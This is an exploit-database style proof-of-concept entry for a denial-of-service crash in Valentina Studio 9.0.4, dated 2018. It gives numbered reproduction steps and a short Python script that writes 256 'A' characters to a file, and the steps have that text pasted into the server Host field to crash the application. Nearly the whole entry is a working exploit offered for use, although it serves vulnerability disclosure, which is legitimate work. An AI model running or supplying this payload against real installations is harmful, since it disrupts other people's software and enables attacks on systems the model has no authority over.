#Exploit Title: Valentina Studio 9.0.4 - Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2018-02-19#Vendor Homepage: https://valentina-db.com/en/#Software Link: https://valentina-db.com/en/developer/database/download-valentina-database-adk#Tested Version: 9.0.4#Tested on: Windows 7 x64 Service Pack 1#Steps to produce the crash:#1.- Run python code: Valentina_Studio_9.0.4.py#2.- Open valentina.txt and copy content to clipboard#3.- Open Valentina Studio#4.- Select "File" > "Connect to"#5.- Select "Valentina Server"#6.- Select "Host" and Paste Clipboard#7.- Crashed
cod = "\x41"* 256
f = open('valentina.txt','w')
f.write(cod)
f.close()